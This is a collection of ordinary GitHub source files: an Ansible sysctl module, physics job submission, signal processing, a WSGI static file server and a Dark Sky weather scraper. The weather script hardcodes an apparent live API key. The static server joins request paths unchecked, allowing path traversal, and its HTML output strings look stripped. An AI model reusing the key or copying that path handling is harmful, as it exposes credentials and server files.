%r\"%name_)\n print(\">>> cardname = %r\"%cardname)\n print(\">>> jobname = %r\"%jobname)\n print(\">>> carddir = %s\"%carddir)\n print(\">>> workdir = %s\"%workdir)\n print(\">>> outdir = %s\"%outdir)\n print(\">>> masses = %s\"%masses)\n print(\">>> lambdas = %s\"%lambdas)\n print(\">>> era = %s\"%era)\n print(\">>> scram = %s\"%scram)\n print(\">>> cmssw = %s\"%cmssw)\n print(\">>> \"+'='*90)\n \n for lambd in lambdas:\n lambd = str(lambd).replace('.','p')\n jobname_ = subplaceholders(jobname,NAME=name_,LAMBDA=lambd,ERA=era) #,MODEL=model,PROC=proc\n cardname_ = subkey(cardname,NAME=name_,LAMBDA=lambd,ERA=era) # ignore $MASS\n carddir_ = subkey(outdir,CARDNAME=cardname_,NAME=name_,LAMBDA=lambd,ERA=era)\n if verbosity>=2:\n #print(\">>> carddir=%r, era=%r, lambda=%r, name=%r, scram=%r, cmssw=%r\"%(carddir,era,lambd,name,scram,cmssw))\n print(\">>> lambda=%r, name=%r, jobname=%r, cardname=%r -> %r\"%(lambd,name_,jobname_,cardname,cardname_))\n argfile = createArgFile(jobname_,cardname_,masses,scram,cmssw,carddir_,jobdir=jobdir,workdir=workdir)\n submitArgFile(jobname_,argfile,jobdir=jobdir,mock=mock)\n print()\n #for mass in masses:\n # for lambd in lambdas:\n # print(\">>> mass=%s, lambda=%s\"%(mass,lambd))\n # lambd = str(lambd).replace('.','p')\n # sample = \"%sScalarLQToBTau_M%s_L%s\"%(proc,mass,lambd)\n # samdir = os.path.join(carddir,sample)\n # fulldir = os.path.join(basedir,samdir)\n # if not os.path.exists(fulldir):\n # print(\">>> Sample card directory does not exist! %r\"%(fulldir))\n # submit(sample,samdir,scram,cmssw)\n # print()\n \n\nif __name__=='__main__':\n print()\n from argparse import ArgumentParser\n description = '''Create gridpack with condor jobs.'''\n parser = ArgumentParser(prog=\"submit_gridpack_condor\",description=description,epilog=\"Good luck!\")\n parser.add_argument('carddirs', type=str, nargs='+', action='store',\n metavar='CARDDIRS', help=\"directoy with cards\" )\n parser.add_argument('-c', '--create', dest='create', action='store_true',\n help=\"create cards before submitting\" )\n parser.add_argument('-m', '--mock', action='store_true',\n help=\"mock submit (for debugging)\" )\n ###parser.add_argument( '--model', dest='models', nargs='+', choices=['VectorLQ','ScalarLQ'],\n ### help=\"models\" )\n ###parser.add_argument('-p', '--proc', dest='procs', nargs='+', choices=['Pair','Single','NonRes'],\n ### help=\"processes\" )\n parser.add_argument('-n', '--cardname', type=str, action='store', default=None,\n help=\"card name (placeholders allowed)\" )\n parser.add_argument('-M', '--mass', dest='masses', nargs='+', type=int,\n help=\"select masses\" )\n parser.add_argument('-L', '--lambda', dest='lambdas', nargs='+', default=[1.0], type=float,\n help=\"select lambdas\" )\n parser.add_argument('-y', '--era', dest='eras', nargs='+', default=['UL2017'], #choices=[2016,2017,2018], \n help=\"select year/era\" )\n ###parser.add_argument('-o', '--outdir', default='jobdir/cards',\n ### help=\"output directory for cards\" )\n parser.add_argument('-j', '--jobdir', default='jobs',\n help=\"output directory for cards\" )\n parser.add_argument('-w', '--workdir', help=\"parent directory of genproductions\" )\n parser.add_argument('-v', \"--verbose\", dest='verbosity', type=int, nargs='?', const=2, default=1,\n help=\"set level of verbosity, default=%(default)s\" )\n args = parser.parse_args()\n main(args)\n print(\">>> Done.\")\n print()\n \n","repo_name":"IzaakWN/CRAB","sub_path":"submit_gridpack_condor.py","file_name":"submit_gridpack_condor.py","file_ext":"py","file_size_in_byte":10229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"31221656152","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# (c) 2012, David \"DaviXX\" CHANIAL \n# (c) 2014, James Tanner \n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n\nfrom __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\n\nDOCUMENTATION = r'''\n---\nmodule: sysctl\nshort_description: Manage entries in sysctl.conf.\ndescription:\n - This module manipulates sysctl entries and optionally performs a C(/sbin/sysctl -p) after changing them.\nversion_added: \"1.0.0\"\noptions:\n name:\n description:\n - The dot-separated path (also known as I(key)) specifying the sysctl variable.\n required: true\n aliases: [ 'key' ]\n type: str\n value:\n description:\n - Desired value of the sysctl key.\n aliases: [ 'val' ]\n type: str\n state:\n description:\n - Whether the entry should be present or absent in the sysctl file.\n choices: [ \"present\", \"absent\" ]\n default: present\n type: str\n ignoreerrors:\n description:\n - Use this option to ignore errors about unknown keys.\n type: bool\n default: 'no'\n reload:\n description:\n - If C(yes), performs a I(/sbin/sysctl -p) if the C(sysctl_file) is\n updated. If C(no), does not reload I(sysctl) even if the\n C(sysctl_file) is updated.\n type: bool\n default: 'yes'\n sysctl_file:\n description:\n - Specifies the absolute path to C(sysctl.conf), if not C(/etc/sysctl.conf).\n default: /etc/sysctl.conf\n type: path\n sysctl_set:\n description:\n - Verify token value with the sysctl command and set with -w if necessary\n type: bool\n default: 'no'\nauthor:\n- David CHANIAL (@davixx)\n'''\n\nEXAMPLES = r'''\n# Set vm.swappiness to 5 in /etc/sysctl.conf\n- ansible.posix.sysctl:\n name: vm.swappiness\n value: '5'\n state: present\n\n# Remove kernel.panic entry from /etc/sysctl.conf\n- ansible.posix.sysctl:\n name: kernel.panic\n state: absent\n sysctl_file: /etc/sysctl.conf\n\n# Set kernel.panic to 3 in /tmp/test_sysctl.conf\n- ansible.posix.sysctl:\n name: kernel.panic\n value: '3'\n sysctl_file: /tmp/test_sysctl.conf\n reload: no\n\n# Set ip forwarding on in /proc and verify token value with the sysctl command\n- ansible.posix.sysctl:\n name: net.ipv4.ip_forward\n value: '1'\n sysctl_set: yes\n\n# Set ip forwarding on in /proc and in the sysctl file and reload if necessary\n- ansible.posix.sysctl:\n name: net.ipv4.ip_forward\n value: '1'\n sysctl_set: yes\n state: present\n reload: yes\n'''\n\n# ==============================================================\n\nimport os\nimport platform\nimport re\nimport tempfile\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils.six import string_types\nfrom ansible.module_utils.parsing.convert_bool import BOOLEANS_FALSE, BOOLEANS_TRUE\nfrom ansible.module_utils._text import to_native\n\n\nclass SysctlModule(object):\n\n # We have to use LANG=C because we are capturing STDERR of sysctl to detect\n # success or failure.\n LANG_ENV = {'LANG': 'C', 'LC_ALL': 'C', 'LC_MESSAGES': 'C'}\n\n def __init__(self, module):\n self.module = module\n self.args = self.module.params\n\n self.sysctl_cmd = self.module.get_bin_path('sysctl', required=True)\n self.sysctl_file = self.args['sysctl_file']\n\n self.proc_value = None # current token value in proc fs\n self.file_value = None # current token value in file\n self.file_lines = [] # all lines in the file\n self.file_values = {} # dict of token values\n\n self.changed = False # will change occur\n self.set_proc = False # does sysctl need to set value\n self.write_file = False # does the sysctl file need to be reloaded\n\n self.process()\n\n # ==============================================================\n # LOGIC\n # ==============================================================\n\n def process(self):\n\n self.platform = platform.system().lower()\n\n # Whitespace is bad\n self.args['name'] = self.args['name'].strip()\n self.args['value'] = self._parse_value(self.args['value'])\n\n thisname = self.args['name']\n\n # get the current proc fs value\n self.proc_value = self.get_token_curr_value(thisname)\n\n # get the current sysctl file value\n self.read_sysctl_file()\n if thisname not in self.file_values:\n self.file_values[thisname] = None\n\n # update file contents with desired token/value\n self.fix_lines()\n\n # what do we need to do now?\n if self.file_values[thisname] is None and self.args['state'] == \"present\":\n self.changed = True\n self.write_file = True\n elif self.file_values[thisname] is None and self.args['state'] == \"absent\":\n self.changed = False\n elif self.file_values[thisname] and self.args['state'] == \"absent\":\n self.changed = True\n self.write_file = True\n elif self.file_values[thisname] != self.args['value']:\n self.changed = True\n self.write_file = True\n # with reload=yes we should check if the current system values are\n # correct, so that we know if we should reload\n elif self.args['reload']:\n if self.proc_value is None:\n self.changed = True\n elif not self._values_is_equal(self.proc_value, self.args['value']):\n self.changed = True\n\n # use the sysctl command or not?\n if self.args['sysctl_set'] and self.args['state'] == \"present\":\n if self.proc_value is None:\n self.changed = True\n elif not self._values_is_equal(self.proc_value, self.args['value']):\n self.changed = True\n self.set_proc = True\n\n # Do the work\n if not self.module.check_mode:\n if self.set_proc:\n self.set_token_value(self.args['name'], self.args['value'])\n if self.write_file:\n self.write_sysctl()\n if self.changed and self.args['reload']:\n self.reload_sysctl()\n\n def _values_is_equal(self, a, b):\n \"\"\"Expects two string values. It will split the string by whitespace\n and compare each value. It will return True if both lists are the same,\n contain the same elements and the same order.\"\"\"\n if a is None or b is None:\n return False\n\n a = a.split()\n b = b.split()\n\n if len(a) != len(b):\n return False\n\n return len([i for i, j in zip(a, b) if i == j]) == len(a)\n\n def _parse_value(self, value):\n if value is None:\n return ''\n elif isinstance(value, bool):\n if value:\n return '1'\n else:\n return '0'\n elif isinstance(value, string_types):\n if value.lower() in BOOLEANS_TRUE:\n return '1'\n elif value.lower() in BOOLEANS_FALSE:\n return '0'\n else:\n return value.strip()\n else:\n return value\n\n def _stderr_failed(self, err):\n # sysctl can fail to set a value even if it returns an exit status 0\n # (https://bugzilla.redhat.com/show_bug.cgi?id=1264080). That's why we\n # also have to check stderr for errors. For now we will only fail on\n # specific errors defined by the regex below.\n errors_regex = r'^sysctl: setting key \"[^\"]+\": (Invalid argument|Read-only file system)$'\n return re.search(errors_regex, err, re.MULTILINE) is not None\n\n # ==============================================================\n # SYSCTL COMMAND MANAGEMENT\n # ==============================================================\n\n # Use the sysctl command to find the current value\n def get_token_curr_value(self, token):\n if self.platform == 'openbsd':\n # openbsd doesn't support -e, just drop it\n thiscmd = \"%s -n %s\" % (self.sysctl_cmd, token)\n else:\n thiscmd = \"%s -e -n %s\" % (self.sysctl_cmd, token)\n rc, out, err = self.module.run_command(thiscmd, environ_update=self.LANG_ENV)\n if rc != 0:\n return None\n else:\n return out\n\n # Use the sysctl command to set the current value\n def set_token_value(self, token, value):\n if len(value.split()) > 0:\n value = '\"' + value + '\"'\n if self.platform == 'openbsd':\n # openbsd doesn't accept -w, but since it's not needed, just drop it\n thiscmd = \"%s %s=%s\" % (self.sysctl_cmd, token, value)\n elif self.platform == 'freebsd':\n ignore_missing = ''\n if self.args['ignoreerrors']:\n ignore_missing = '-i'\n # freebsd doesn't accept -w, but since it's not needed, just drop it\n thiscmd = \"%s %s %s=%s\" % (self.sysctl_cmd, ignore_missing, token, value)\n else:\n ignore_missing = ''\n if self.args['ignoreerrors']:\n ignore_missing = '-e'\n thiscmd = \"%s %s -w %s=%s\" % (self.sysctl_cmd, ignore_missing, token, value)\n rc, out, err = self.module.run_command(thiscmd, environ_update=self.LANG_ENV)\n if rc != 0 or self._stderr_failed(err):\n self.module.fail_json(msg='setting %s failed: %s' % (token, out + err))\n else:\n return rc\n\n # Run sysctl -p\n def reload_sysctl(self):\n if self.platform == 'freebsd':\n # freebsd doesn't support -p, so reload the sysctl service\n rc, out, err = self.module.run_command('/etc/rc.d/sysctl reload', environ_update=self.LANG_ENV)\n elif self.platform == 'openbsd':\n # openbsd doesn't support -p and doesn't have a sysctl service,\n # so we have to set every value with its own sysctl call\n for k, v in self.file_values.items():\n rc = 0\n if k != self.args['name']:\n rc = self.set_token_value(k, v)\n # FIXME this check is probably not needed as set_token_value would fail_json if rc != 0\n if rc != 0:\n break\n if rc == 0 and self.args['state'] == \"present\":\n rc = self.set_token_value(self.args['name'], self.args['value'])\n\n # set_token_value would have called fail_json in case of failure\n # so return here and do not continue to the error processing below\n # https://github.com/ansible/ansible/issues/58158\n return\n else:\n # system supports reloading via the -p flag to sysctl, so we'll use that\n sysctl_args = [self.sysctl_cmd, '-p', self.sysctl_file]\n if self.args['ignoreerrors']:\n sysctl_args.insert(1, '-e')\n\n rc, out, err = self.module.run_command(sysctl_args, environ_update=self.LANG_ENV)\n\n if rc != 0 or self._stderr_failed(err):\n self.module.fail_json(msg=\"Failed to reload sysctl: %s\" % to_native(out) + to_native(err))\n\n # ==============================================================\n # SYSCTL FILE MANAGEMENT\n # ==============================================================\n\n # Get the token value from the sysctl file\n def read_sysctl_file(self):\n\n lines = []\n if os.path.isfile(self.sysctl_file):\n try:\n with open(self.sysctl_file, \"r\") as read_file:\n lines = read_file.readlines()\n except IOError as e:\n self.module.fail_json(msg=\"Failed to open %s: %s\" % (to_native(self.sysctl_file), to_native(e)))\n\n for line in lines:\n line = line.strip()\n self.file_lines.append(line)\n\n # don't split empty lines or comments or line without equal sign\n if not line or line.startswith((\"#\", \";\")) or \"=\" not in line:\n continue\n\n k, v = line.split('=', 1)\n k = k.strip()\n v = v.strip()\n self.file_values[k] = v.strip()\n\n # Fix the value in the sysctl file content\n def fix_lines(self):\n checked = []\n self.fixed_lines = []\n for line in self.file_lines:\n if not line.strip() or line.strip().startswith((\"#\", \";\")) or \"=\" not in line:\n self.fixed_lines.append(line)\n continue\n tmpline = line.strip()\n k, v = tmpline.split('=', 1)\n k = k.strip()\n v = v.strip()\n if k not in checked:\n checked.append(k)\n if k == self.args['name']:\n if self.args['state'] == \"present\":\n new_line = \"%s=%s\\n\" % (k, self.args['value'])\n self.fixed_lines.append(new_line)\n else:\n new_line = \"%s=%s\\n\" % (k, v)\n self.fixed_lines.append(new_line)\n\n if self.args['name'] not in checked and self.args['state'] == \"present\":\n new_line = \"%s=%s\\n\" % (self.args['name'], self.args['value'])\n self.fixed_lines.append(new_line)\n\n # Completely rewrite the sysctl file\n def write_sysctl(self):\n # open a tmp file\n fd, tmp_path = tempfile.mkstemp('.conf', '.ansible_m_sysctl_', os.path.dirname(self.sysctl_file))\n f = open(tmp_path, \"w\")\n try:\n for l in self.fixed_lines:\n f.write(l.strip() + \"\\n\")\n except IOError as e:\n self.module.fail_json(msg=\"Failed to write to file %s: %s\" % (tmp_path, to_native(e)))\n f.flush()\n f.close()\n\n # replace the real one\n self.module.atomic_move(tmp_path, self.sysctl_file)\n\n\n# ==============================================================\n# main\n\ndef main():\n\n # defining module\n module = AnsibleModule(\n argument_spec=dict(\n name=dict(aliases=['key'], required=True),\n value=dict(aliases=['val'], required=False, type='str'),\n state=dict(default='present', choices=['present', 'absent']),\n reload=dict(default=True, type='bool'),\n sysctl_set=dict(default=False, type='bool'),\n ignoreerrors=dict(default=False, type='bool'),\n sysctl_file=dict(default='/etc/sysctl.conf', type='path')\n ),\n supports_check_mode=True,\n required_if=[('state', 'present', ['value'])],\n )\n\n if module.params['name'] is None:\n module.fail_json(msg=\"name cannot be None\")\n if module.params['state'] == 'present' and module.params['value'] is None:\n module.fail_json(msg=\"value cannot be None\")\n\n # In case of in-line params\n if module.params['name'] == '':\n module.fail_json(msg=\"name cannot be blank\")\n if module.params['state'] == 'present' and module.params['value'] == '':\n module.fail_json(msg=\"value cannot be blank\")\n\n result = SysctlModule(module)\n\n module.exit_json(changed=result.changed)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"openshift/openshift-ansible","sub_path":"roles/openshift_node/library/sysctl.py","file_name":"sysctl.py","file_ext":"py","file_size_in_byte":15277,"program_lang":"python","lang":"en","doc_type":"code","stars":2139,"dataset":"github-code","pt":"66"}
+{"seq_id":"3461536724","text":"'''\n@date: 2021.03.09\n@author: Ruixin Lee\nThis file is for implementations of several kinds of Fourier Transform,\nsuch as Fast Fourier Transform, Short-Time Fourier Transform and so on.\n对于MAHNOB-HCI数据集来说,一个文件代表的是 119s 的数据采集。眼动数据集每秒60个样本,采样率60Hz。\n其实是接近120s,但是第一秒没到60个,所以一般从第2s开始计算。所以是119秒\n\n这个文件要做的主要就是,将这瞳孔直径信号分为 4个 频率的波,并且计算对应的功率。其实也就是计算瞳孔直径的PSD特征。\n最终,\n'''\n\n\nimport scipy as sp\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\ndef MySTFT_V1():\n '''\n reference: https://www.cnblogs.com/klchang/p/9280509.html\n :return: None\n '''\n import scipy.io.wavfile\n # Read wav file\n # \"OSR_us_000_0010_8k.wav\" is downloaded from http://www.voiptroubleshooter.com/open_speech/american.html\n sample_rate, signal = scipy.io.wavfile.read(\"OSR_us_000_0010_8k.wav\")\n # print(\"sample rate:\\n\", sample_rate) # sample rate is 8000.\n\n # Get speech data in the first 2 seconds\n # sample rate is 8000, here the length of list of the signal is 1600, [0, 2×8000).\n signal = signal[0:int(2. * sample_rate)] # input signal --> 2 seconds,提取前2秒的信号\n\n print(\"signal:\\n\", signal, \"\\nsignal type:\\n\", type(signal), \"\\nsignal length:\\n\", len(signal))\n # one dimensional array, type: , length: 1600\n\n # Calculate the short time fourier transform\n pow_spec = stft_calculation(signal, sample_rate)\n # print(\"power spectral density:\\n\", pow_spec)\n print(\"power spectral density:\\n\", pow_spec,\n \"\\npow_spec type:\\n\", type(pow_spec), \"\\npow_spec length y:\\n\", len(pow_spec),\n \"\\npow_spec x:\", len(pow_spec[0]))\n\n plt.imshow(pow_spec)\n plt.tight_layout()\n plt.show()\n\n # print(\"END!!!\")\n\n return None\n\n\n# sample_rate = 60Hz\ndef sample_rate_calculation(filepath=None):\n '''\n 该函数能够利用时间戳计算存储在某种信号的文本文件中的采样率\n 该函数暂时默认仅用于MAHNOB-HCI-TAGGING数据集的眼动采样频率计算\n :return: 采样率 sample_rate\n '''\n sample_rate = 0\n df = pd.DataFrame(pd.read_csv(filepath))\n time_stamp = df['Timestamp']\n print(type(time_stamp))\n time_stamp = np.array(time_stamp)\n print(type(time_stamp))\n print(time_stamp)\n return sample_rate\n\n\ndef MySTFT_V2(filepath=None):\n sample_rate = 60 # 眼动信号的采样频率为60Hz\n signal_file = pd.DataFrame(pd.read_csv(filepath))\n signal_file['PupilDiameter'] = signal_file['PupilRight']-signal_file['PupilLeft']\n # 得到'PupilDiameter'列后,开始计算\n signal = np.abs(np.array(signal_file['PupilDiameter']))\n print(\"signal:\\n\", signal)\n # print(\"sample rate:\\n\", sample_rate) # sample rate is 8000.\n # Get speech data in the first 2 seconds\n # sample rate is 8000, here the length of list of the signal is 1600, [0, 2×8000).\n signal = signal[0:int(2. * sample_rate)] # input signal --> 2 seconds,提取前2秒的信号\n print(\"signal:\\n\", signal, \"\\nsignal type:\\n\", type(signal), \"\\nsignal length:\\n\", len(signal))\n # one dimensional array, type: , length: 1600\n # Calculate the short time fourier transform\n pow_spec = stft_calculation(signal=signal, sample_rate=60, frame_size=0.025, frame_stride=0.05)\n # print(\"power spectral density:\\n\", pow_spec)\n print(\"power spectral density:\\n\", pow_spec,\n \"\\npow_spec type:\\n\", type(pow_spec), \"\\npow_spec length y:\\n\", len(pow_spec),\n \"\\npow_spec x:\", len(pow_spec[0]))\n plt.imshow(pow_spec)\n plt.tight_layout()\n plt.show()\n print(\"END!!!\")\n return None\n\n\ndef stft_calculation(signal, sample_rate=16000, frame_size=0.025, # frame_size设置为 25ms,即0.025s\n frame_stride=0.01, winfunc=np.hamming, NFFT=512):\n '''\n :param signal: 输入的信号,这里是一个一维数组\n :param sample_rate: 采样频率,又称采样率,每秒采集的样本的数量,单位是赫兹(Hz)\n :param frame_size: 将信号分为较短的帧的尺寸size,在语音处理中,通常帧大小在 20ms 到 40ms之间\n :param frame_stride: 相邻帧的滑动尺寸或跳跃尺寸,通常帧的滑动尺寸在 10ms到 20ms之间,这里设置为 10ms,即 0.01s\n :param winfunc: 窗函数采用汉明窗函数 (Hamming Function)\n :param NFFT: 在每一帧,进行512点快速傅里叶变换,即NFFT==512\n :return: pow_frames\n '''\n # Calculate the number of frames from the signal\n # frame_size指每次提取的大小,也就是每个“帧”的大小,每次选取一定时间内的信号。\n # 比如,frame_size==1,则选取一秒内的信号。而采样频率若为50Hz,则一共有1×50个信号,如果是2秒,且采样率为50Hz,则2×50==100个信号样本。\n frame_length = frame_size * sample_rate # 样本的长度,这里是0.025×8000==200,即每次200个信号样本\n frame_step = frame_stride * sample_rate # 步长frame_step,用每次滑动的尺寸乘以采样率来获得。\n signal_length = len(signal)\n frame_length = int(round(frame_length))\n frame_step = int(round(frame_step))\n print(\"frame step: \", frame_step)\n\n delta_length = float(np.abs(signal_length-frame_length))\n num_frames = int(np.ceil(delta_length/frame_step)) + 1\n\n # zero padding\n pad_signal_length = num_frames * frame_step + frame_length\n z = np.zeros((pad_signal_length - signal_length))\n # Pad signal to make sure that all frames have equal number of samples\n # without truncating any samples from the original signal\n pad_signal = np.append(signal, z)\n\n # Slice the signal into frames from indices\n np_title_1 = np.tile(np.arange(0, frame_length), (num_frames, 1))\n np_title_2 = np.tile(np.arange(0, num_frames * frame_step, frame_step), (frame_length, 1)).T\n indices = np_title_1 + np_title_2\n\n frames = pad_signal[indices.astype(np.int32, copy=False)]\n # Get windowed frames\n frames *= winfunc(frame_length)\n # Compute the one-dimensional n-point discrete Fourier Transform(DFT) of\n # a real-valued array by means of an efficient algorithm called Fast Fourier Transform (FFT)\n mag_frames = np.absolute(np.fft.rfft(frames, NFFT))\n # Compute power spectrum\n pow_frames = (1.0/NFFT) * (mag_frames**2)\n\n print(\"pow_frames:\\n\", type(pow_frames))\n print(pow_frames.shape) # (41, 257)\n print(pow_frames)\n\n return pow_frames\n\n\nif __name__ == '__main__':\n # MySTFT_V1()\n # sample_rate_calculation(filepath='../../data/mahnob_example/2/P1-Rec1-All-Data-New_Section_2.csv')\n # pass\n MySTFT_V2(filepath='../../data/mahnob_example/2/P1-Rec1-All-Data-New_Section_2.csv')\n","repo_name":"Breeze1in1drizzle/MindLink-Explorer","sub_path":"MindLink-Eumpy/test/JointTimeFrequencyAnalysis/MyFT.py","file_name":"MyFT.py","file_ext":"py","file_size_in_byte":6904,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"66"}
+{"seq_id":"14778549743","text":"from re import compile\nfrom os.path import join, isfile, isdir, islink\nfrom os import listdir\nfrom mimetypes import guess_type\nfrom cStringIO import StringIO\nfrom xml.sax.saxutils import quoteattr\n\n\nclass _FileIter(object):\n\tdef __init__(self, path, buffersize):\n\t\tself.path = path\n\t\tself.buffersize = buffersize\n\n\tdef __iter__(self):\n\t\tself.f = open(self.path, \"rb\")\n\t\treturn self\n\n\tdef next(self):\n\t\twhile True:\n\t\t\tblock = self.f.read(self.buffersize)\n\t\t\tif not block:\n\t\t\t\traise StopIteration\n\t\t\treturn block\n\n\tdef close(self):\n\t\tif hasattr(self, \"f\"):\n\t\t\tself.f.close()\n\n\nclass StaticFiles(object):\n\t\"\"\" A WSGI static file/folder serving application.\n\n\t@cvar DEFAULT_CONTENT_TYPE: The default content-type used when\n\t\t\tcontent-type cannot be guessed.\n\t\"\"\"\n\tDEFAULT_CONTENT_TYPE = \"application/octet-stream\"\n\tdef __init__(self, root_folder, prefix=\"\",\n\t\t\t\tpattern=\".*\", buffersize=2048, follow_symlinks=False):\n\t\t\"\"\"\n\t\tUsage\n\t\t=====\n\t\t\t>>> app = StaticFiles(\"/my/shared/folder\")\n\n\t\t\tAnd run \"app\" on a wsgi gateway.\n\n\n\t\t@param root_folder: the folder from where to serve files.\n\t\t@param pattern: A regular expression. Only files matching it\n\t\t\t\twill be shown.\n\t\t@param buffersize: The buffersize used when reading files.\n\t\t@param follow_symlinks: Follow symlinks?\n\t\t\"\"\"\n\t\tself.patt = compile(pattern)\n\t\tself.root_folder = root_folder\n\t\tself.buffersize = buffersize\n\t\tself.prefixlen = len(prefix)\n\t\tself.follow_symlinks = follow_symlinks\n\n\n\tdef handle_notfound(self, env, start_response, path):\n\t\t\"\"\" Invoked by __call__ when a file that does not exist is requested.\n\t\t@param env: The WSGI environ dict sent to __call__.\n\t\t@param start_response: The start_response callable sent to __call__.\n\t\t@param path: The requested path without prefix.\n\t\t\"\"\"\n\t\tstart_response(\"404 not found\", [(\"content-type\", \"text/plain\")])\n\t\treturn [\"%s does not exist\" % path]\n\n\tdef list_directory(self, env, start_response, path):\n\t\t\"\"\" Invoked by __call__ when a directory is requested. \"\"\"\n\t\tif path.endswith(\"/\"):\n\t\t\tpath = path[:-1]\n\t\tfolder = join(self.root_folder, path)\n\t\tbuf = StringIO()\n\t\tprint >> buf, \"\"\n\t\tprint >> buf, \"%s%s
\" % (env[\"SCRIPT_NAME\"],\n\t\t\t\tenv[\"PATH_INFO\"])\n\t\tprint >> buf, \"\"\n\t\tfor fn in listdir(folder):\n\t\t\tstyle = \"\"\n\t\t\treal_path = join(folder, fn)\n\t\t\turl_path = \"%s/%s\" % (path, fn)\n\n\t\t\tif islink(real_path) and not self.follow_symlinks:\n\t\t\t\tcontinue\n\t\t\tif not self.patt.match(url_path):\n\t\t\t\tcontinue\n\n\t\t\tif isdir(real_path):\n\t\t\t\tstyle = \" style='font-weight: bold;'\"\n\t\t\t\tfn += \"/\"\n\t\t\telif not isfile(real_path):\n\t\t\t\tcontinue\n\n\t\t\tprint >> buf, \"\\t- %s
\" % (\n\t\t\t\t\tstyle, fn, fn)\n\n\t\tprint >> buf, \"
\"\n\t\tprint >> buf, \"\"\n\n\t\tstart_response(\"200 OK\", [(\"content-type\", \"text/html\")])\n\t\treturn [buf.getvalue()]\n\n\n\tdef __call__(self, env, start_response):\n\t\tpath = env[\"SCRIPT_NAME\"] + env[\"PATH_INFO\"]\n\t\tpath = path[self.prefixlen:]\n\t\tif path.startswith(\"/\"):\n\t\t\tpath = path[1:]\n\t\treal_path = join(self.root_folder, path)\n\n\t\tif islink(real_path) and not self.follow_symlinks:\n\t\t\treturn self.handle_notfound(env, start_response, path)\n\n\t\tif not self.patt.match(path):\n\t\t\treturn self.handle_notfound(env, start_response, path)\n\n\t\tif isdir(real_path):\n\t\t\treturn self.list_directory(env, start_response, path)\n\t\telif isfile(real_path):\n\t\t\tcontent_type = guess_type(real_path)[0] \\\n\t\t\t\t\tor self.DEFAULT_CONTENT_TYPE\n\t\t\tstart_response(\"200 OK\", [(\"content-type\", content_type)])\n\t\t\treturn _FileIter(real_path, self.buffersize)\n\n\t\treturn self.handle_notfound(env, start_response, path)\n","repo_name":"espenak/enkel","sub_path":"enkel/batteri/staticfiles.py","file_name":"staticfiles.py","file_ext":"py","file_size_in_byte":3549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"35703723484","text":"#!/usr/bin/env python3.6\n# coding:utf-8\n# maxiaobo\n# 2019/05/24\n\nimport logging\nimport time\nimport os\n\ncur_dir = os.path.dirname(__file__)\n\nlog_path = os.path.dirname(os.path.dirname(os.path.abspath(cur_dir))) + \"/rocketmq_query_service/logs/\"\nif not os.path.isdir(log_path):\n os.mkdir(log_path)\nlog_filename = log_path + \"rocketmq-query-backend-\" + time.strftime('%Y%m%d') + \".log\"\n\n\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n filename=log_filename,\n filemode='a')\n\n\nlog = logging.getLogger('root')\n","repo_name":"hnzjCoder/rocketmq_query","sub_path":"libs/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"24631177826","text":"# What is the largest prime factor of the number 600851475143 ?\n\n\ndef prime_factors(n):\n factors = [1]\n last = n\n\n while last > 1:\n c = 2\n while last % c > 0:\n c += 1\n\n factors.append(c)\n last /= c\n return factors\n\nanswer = max(prime_factors(600851475143))\n","repo_name":"Roasbeef/Project-Euler-Solutions-","sub_path":"1-10/p_3.py","file_name":"p_3.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"}
+{"seq_id":"24727834846","text":"\"\"\" A base class \"\"\"\n\n\nclass Base:\n \"\"\" A base class from which all other classes inherit \n Attributes:\n nb_objects: Number of instantiated objects of the class\n \"\"\"\n __nb_objects = 0\n\n\n def __init__(self, id=None):\n \"\"\" Instantiation of the base class\n Args:\n id(int): the id of the new base.\n \"\"\"\n if id != None:\n self.id = id\n else:\n Base.__nb_objects += 1\n self.id = Base.__nb_objects\n\n","repo_name":"Efeoseaje/alx_python","sub_path":"python-almost_a_circle/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"25347282603","text":"# What has the temp been like on Christmas in NYC from 2000-2015?\n# import csv and request modules\nimport csv\nimport requests\n\n# set up URL for request\nendpoint = 'https://api.darksky.net/forecast/'\napi_key = 'da5d52438b53e27259e8e2bdc2f7c51f'\nlat = '40.7128'\nlon= '-73.9352'\n\n# open file in write mode\ncsvfile= open('dataproject2.csv', 'w')\n\n# create the csv writer\ncsvwriter= csv.writer(csvfile, delimiter= ',')\ncsvwriter.writerow(['year', 'temp'])\n\nfor y in range(2000,2015):\n time = '%d-12-25T12:00:00' % y\n \n # url for request\n url = endpoint + api_key + '/' + lat + ',' + lon + ',' + time\n \n # make request\n r = requests.get(url)\n weather = r.json()\n temp = weather['hourly']['data'][0]['temperature']\n print(temp)\n csvwriter.writerow([y, temp])\n \ncsvfile.close()\n","repo_name":"UCMHSProgramming16-17/final-project-shefalidahiya","sub_path":"final-project-shefalidahiya/dataproject2.py","file_name":"dataproject2.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
